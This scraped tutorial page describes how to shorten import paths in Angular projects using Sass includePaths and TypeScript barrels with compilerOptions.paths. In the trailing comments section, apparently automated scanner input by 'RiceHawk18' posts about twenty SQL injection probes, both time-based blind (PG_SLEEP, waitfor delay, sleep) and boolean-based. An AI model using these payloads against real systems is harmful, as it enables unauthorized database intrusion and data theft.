BP75: Shorten your relative paths

Shorter paths in Sass

Adding stylePreprocessorOptions with includePaths to angular.json will make all the paths from included paths available in imports without the need to enter the full path.

Example:
@import 'bootstrap-bc';

Thanks to stylePreprocessorOptions+includePaths, the import above can be used in any file without the need to enter the full path to Scss files.

Naming conflicts could happen, prefixes are good to have

Shorter paths in Angular/TypeScript

Problem: Imports of services get broken if relative path is used and the component is moved to a different folder. They also get broken if the services are moved to a different folder.

Solution: TypeScript barrel + tsconfig.json compilerOptons.paths allows for nice single-line imports. As an example, all Swagger API-related modules can be imported like this:

import { JobInterviewQuestionList, JobInterviewQuestionListsService } from '@api/api';

If the barrel + compilerOptions.paths are used, there is no need to enter any paths so both linking file and linked files can be moved to a different location without breaking things.

Comments

Jan
If the barrel + compilerOptions.paths are used, there is no need to enter any paths so both linking file and linked files can be moved to a different location without breaking things.
Jan
TypeScript barrel + tsconfig.json compilerOptons.paths allows for nice single-line imports of all Swagger API-related modules like this: import { JobInterviewQuestionList, JobInterviewQuestionListsService } from '@api/api';
Jan
Imports of services get broken if relative path is used and the component is moved to a different folder. They also get broken if the services are moved to a different folder.
Jan
Can be used for TypeScript and Sass
Jan
Naming conflicts could happen, prefixes are good to have
Jan
@import 'bootstrap-bc'; Thanks to stylePreprocessorOptions+includePaths, the import above can be used in any file without the need to enter the full path to Scss files.
Jan
Example:
Jan
Adding stylePreprocessorOptions with includePaths to angular.json will make all the paths from included paths available in imports without the need to enter the full path.

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e